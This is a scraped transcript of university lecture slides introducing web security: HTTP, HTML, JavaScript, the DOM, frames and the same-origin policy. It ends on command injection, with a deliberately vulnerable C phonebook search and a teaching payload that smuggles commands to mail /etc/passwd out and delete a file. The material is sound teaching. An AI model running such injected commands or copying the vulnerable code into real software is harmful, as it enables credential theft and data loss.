Mobile Services Security: Mobile Platform Security AF Security
Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern...
Transcript of Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern...
![Page 1: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/1.jpg)
Web Security: Background
CS 161: Computer Security Prof. Vern Paxson
TAs: Paul Bramsen, Apoorva Dornadula,
David Fifield, Mia Gil Epner, David Hahn, Warren He, Grant Ho, Frank Li, Nathan Malkin, Mitar Milutinovic,
Rishabh Poddar, Rebecca Portnoff, Nate Wang
http://inst.eecs.berkeley.edu/~cs161/ January 31, 2017
![Page 2: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/2.jpg)
What is the Web? A platform for deploying applications and sharing information, portably and securely
client browser web server
(?)
![Page 3: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/3.jpg)
HTTP (Hypertext Transfer Protocol)
A common data communication protocol on the web
WEB SERVER CLIENT BROWSER
HTTP REQUEST: GET /account.html HTTP/1.1
Host: www.safebank.com
HTTP RESPONSE: HTTP/1.0 200 OK <HTML> . . . </HTML>
Accounts Bill Pay Mail Transfers
Alice Smith
safebank.com/account.html
![Page 4: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/4.jpg)
URLs
Example: http://safebank.com:81/account?id=10#statement
Protocol Hostname
Port Path
Query Fragment
Global identifiers of network-retrievable resources
![Page 5: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/5.jpg)
HTTP
WEB SERVER CLIENT BROWSER
HTTP REQUEST: GET /account.html HTTP/1.1
Host: www.safebank.com
HTTP RESPONSE: HTTP/1.0 200 OK <HTML> . . . </HTML>
Accounts Bill Pay Mail Transfers
Alice Smith
safebank.com/account.html
![Page 6: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/6.jpg)
GET /index.html HTTP/1.1 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en Connection: Keep-Alive User-Agent: Chrome/21.0.1180.75 (Macintosh; Intel Mac OS X 10_7_4) Host: www.safebank.com Referer: http://www.google.com?q=dingbats
HTTP Request Method Path HTTP version Headers
Data – none for GET Blank line
GET: no side effect (supposedly) POST: possible side effect, includes additional data
![Page 7: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/7.jpg)
HTTP
WEB SERVER CLIENT BROWSER
HTTP REQUEST: GET /account.html HTTP/1.1
Host: www.safebank.com
HTTP RESPONSE: HTTP/1.0 200 OK <HTML> . . . </HTML>
Accounts Bill Pay Mail Transfers
Alice Smith
safebank.com/account.html
![Page 8: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/8.jpg)
HTTP Response
HTTP/1.0 200 OK Date: Sun, 12 Aug 2012 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Thu, 9 Aug 2012 17:39:05 GMT Set-Cookie: session=44ebc991 Content-Length: 2543 <HTML> This is web content formatted using html </HTML>
HTTP version Status code Reason phrase Headers
Data
Can be a webpage, image, audio, executable ...
“Cookie” – state that server asks client to store, and return in the future (discussed later)
![Page 9: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/9.jpg)
Web page
web page
HTML
CSS
Javascript
![Page 10: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/10.jpg)
HTML A language to create structured documents One can embed images, objects, or create interactive forms
index.html <html> <body> <div> foo <a href="http://google.com">Go to Google!</a> </div> <form> <input type="text" /> <input type="radio" /> <input type="checkbox" /> </form> </body> </html>
![Page 11: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/11.jpg)
CSS (Cascading Style Sheets) Language used for describing the presentation of a document
index.css
p.serif { font-family: "Times New Roman", Times, serif; } p.sansserif { font-family: Arial, Helvetica, sans-serif; }
![Page 12: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/12.jpg)
Javascript
Programming language used to manipulate web pages. It is a high-level, untyped and interpreted language with support for objects. Supported by all web browsers
<script> function myFunction() { document.getElementById("demo").innerHTML = ”Text changed."; } </script>
Very powerful!
![Page 13: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/13.jpg)
HTTP
WEB SERVER CLIENT BROWSER
HTTP REQUEST: GET /account.html HTTP/1.1
Host: www.safebank.com
HTTP RESPONSE: HTTP/1.1 200 OK <HTML> . . . </HTML>
Accounts Bill Pay Mail Transfers
Alice Smith
safebank.com/account.html
webpage
![Page 14: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/14.jpg)
Page rendering
page
HTML
CSS
Javascript
HTML Parser
CSS Parser
JS Engine
DOM
modifications to the DOM
Painter
bitmap
![Page 15: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/15.jpg)
DOM (Document Object Model) Cross-platform model for representing and interacting with objects in HTML
|-> Document |-> Element (<html>) |-> Element (<body>) |-> Element (<div>) |-> text node |-> Form |-> Text-box |-> Radio Button |-> Check Box
DOM Tree HTML <html> <body> <div> foo </div> <form> <input type="text” /> <input type=”radio” /> <input type=”checkbox” /> </form> </body> </html>
![Page 16: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/16.jpg)
The power of Javascript
Get familiarized with it so that you can think of all the attacks one can do with it.
![Page 17: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/17.jpg)
What can you do with Javascript?
Almost anything you want to the DOM!
A JS script embedded on a page can modify in almost arbitrary ways the DOM of the page.
The same happens if an attacker manages to get you load a script into your page.
w3schools.com has nice interactive tutorials
![Page 18: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/18.jpg)
Example of what Javascript can do…
<p id="demo">JavaScript can change HTML content.</p> <button type="button" onclick="document.getElementById('demo').innerHTML = 'Hello JavaScript!'"> Click Me!</button>
Can change HTML content:
DEMO from �http://www.w3schools.com/js/js_examples.asp
![Page 19: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/19.jpg)
Other examples
Can change imagesCan chance style of elementsCan hide elementsCan unhide elementsCan change cursor
![Page 20: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/20.jpg)
Another example: can access cookies�
Read cookie with JS:var x = document.cookie;
Change cookie with JS:document.cookie = "username=John Smith; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/";
![Page 21: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/21.jpg)
Frames
![Page 22: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/22.jpg)
Frames
• Enable embedding a page within a page
<iframe src="URL"></iframe>
src = google.com/… name = awglogin
outer page
inner page
![Page 23: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/23.jpg)
Frames
• Modularity – Brings together content from multiple sources – Client-side aggregation
• Delegation – Frame can draw only inside its own rectangle
src = 7.gmodules.com/... name = remote_iframe_7
![Page 24: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/24.jpg)
Frames
• Outer page can specify only sizing and placement of the frame in the outer page
• Frame isolation: Outer page cannot change contents of inner page; inner page cannot change contents of outer page
![Page 25: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/25.jpg)
Thinking About Web Security
![Page 26: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/26.jpg)
Desirable security goals
• Integrity: malicious web sites should not be able to tamper with integrity of our computers or our information on other web sites
• Confidentiality: malicious web sites should not be able to learn confidential information from our computers or other web sites
• Privacy: malicious web sites should not be able to spy on us or our online activities
• Availability: malicious parties should not be able to keep us from accessing our web resources
![Page 27: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/27.jpg)
5 Minute Break
Questions Before We Proceed?
![Page 28: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/28.jpg)
Security on the web
• Risk #1: we don’t want a malicious site to be able to trash files/programs on our computers – Browsing to awesomevids.com (or evil.com)
should not infect our computers with malware, read or write files on our computers, etc.
![Page 29: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/29.jpg)
Security on the web
• Risk #1: we don’t want a malicious site to be able to trash files/programs on our computers – Browsing to awesomevids.com (or evil.com)
should not infect our computers with malware, read or write files on our computers, etc.
• Defenses: Javascript is sandboxed; try to avoid security bugs in browser code; privilege separation; automatic updates.
![Page 30: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/30.jpg)
Security on the web
• Risk #2: we don’t want a malicious site to be able to spy on or tamper with our information or interactions with other websites – Browsing to evil.com should not let evil.com spy
on our emails in Gmail or buy stuff with our Amazon accounts
![Page 31: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/31.jpg)
Security on the web
• Risk #2: we don’t want a malicious site to be able to spy on or tamper with our information or interactions with other websites – Browsing to evil.com should not let evil.com spy
on our emails in Gmail or buy stuff with our Amazon accounts
• Defense: the same-origin policy – A security policy grafted on after-the-fact, and
enforced by web browsers
![Page 32: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/32.jpg)
Security on the web
• Risk #3: we want data stored on a web server to be protected from unauthorized access
![Page 33: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/33.jpg)
Security on the web
• Risk #3: we want data stored on a web server to be protected from unauthorized access
• Defense: server-side security
![Page 34: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/34.jpg)
Same-origin policy
![Page 35: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/35.jpg)
Same-origin policy
• Each site in the browser is isolated from all others
wikipedia.org
bankofamerica.com
browser:
security barrier
![Page 36: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/36.jpg)
Same-origin policy
• Multiple pages from the same site are not isolated
wikipedia.org
wikipedia.org
browser:
No security barrier
![Page 37: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/37.jpg)
Origin
• Granularity of protection for same origin policy • Origin = protocol + hostname + port
• Determined using string matching! If these match, it is same origin; else it is not. Even though in some cases, it is logically the same origin, if there is no string match, it is not.
http://coolsite.com:81/tools/info.html
protocol hostname port
![Page 38: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/38.jpg)
Same-origin policy
One origin should not be able to access the resources of another origin
Javascript on one page cannot read or modify pages from different origins. The contents of an iframe have the origin of the URL from which the iframe is served; not the loading website.
![Page 39: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/39.jpg)
• The origin of a page is derived from the URL it was loaded from
Same-origin policy
http://en.wikipedia.org
http://upload.wikimedia.org
![Page 40: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/40.jpg)
• The origin of a page is derived from the URL it was loaded from
• Special case: Javascript runs with the origin of the page that loaded it
Same-origin policy
http://en.wikipedia.org
http://www.google-analytics.com
![Page 41: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/41.jpg)
Assessing SOP Originating document Accessed document
http://wikipedia.org/a/ http://wikipedia.org/b/
http://wikipedia.org/ http://www.wikipedia.org/
http://wikipedia.org/ https://wikipedia.org/
http://wikipedia.org:81/ http://wikipedia.org:82/
http://wikipedia.org:81/ http://wikipedia.org/
Except
except !
![Page 42: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/42.jpg)
Server-side threats: Command Injection
![Page 43: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/43.jpg)
Simple Service Example
• Allow users to search the local phonebook for any entries that match a regular expression
• Invoked via URL like: http://harmless.com/phonebook.cgi?regex=<pattern>
• So for example: http://harmless.com/phonebook.cgi?regex=Alice.*Smith searches phonebook for any entries with “Alice” and then later “Smith” in them
(Note: web surfer doesn’t enter this URL themselves;
Javascript running in their browser constructs it from what they type into a form)
![Page 44: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/44.jpg)
• Assume our server has some “glue” that parses URLs to extract parameters into C variables – and returns stdout to the user
• Simple version of code to implement search:
/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); } Problems?
Simple Service Example, con’t
![Page 45: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/45.jpg)
Instead of http://harmless.com/phonebook.cgi?regex=Alice.*Smith
How about http://harmless.com/phonebook.cgi? regex=foo%20x;%20mail%20-s%[email protected]%20</etc/passwd;%20rm
/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); }
Problems?
%20 is an escape sequence that expands to a space (' ')
![Page 46: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/46.jpg)
Instead of http://harmless.com/phonebook.cgi?regex=Alice.*Smith
How about http://harmless.com/phonebook.cgi? regex=foo%20x;%20mail%20-s%[email protected]%20</etc/passwd;%20rm
⇒ "grep foo x; mail -s [email protected] </etc/passwd; rm phonebook.txt"
/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); }
Problems?
![Page 47: Web Security: Background - ICIR · Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn,](https://reader034.fdocuments.us/reader034/viewer/2022042304/5ecf3c5b5c3fc722990eef65/html5/thumbnails/47.jpg)
Instead of http://harmless.com/phonebook.cgi? regex=Alice.*Smith
How about http://harmless.com/phonebook.cgi? regex=foo%20x;%20mail%20-s%[email protected]%20</etc/passwd;%20rm
⇒ "grep foo x; mail -s [email protected] </etc/passwd; rm phonebook.txt"
/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); }
Problems?
Control information, not data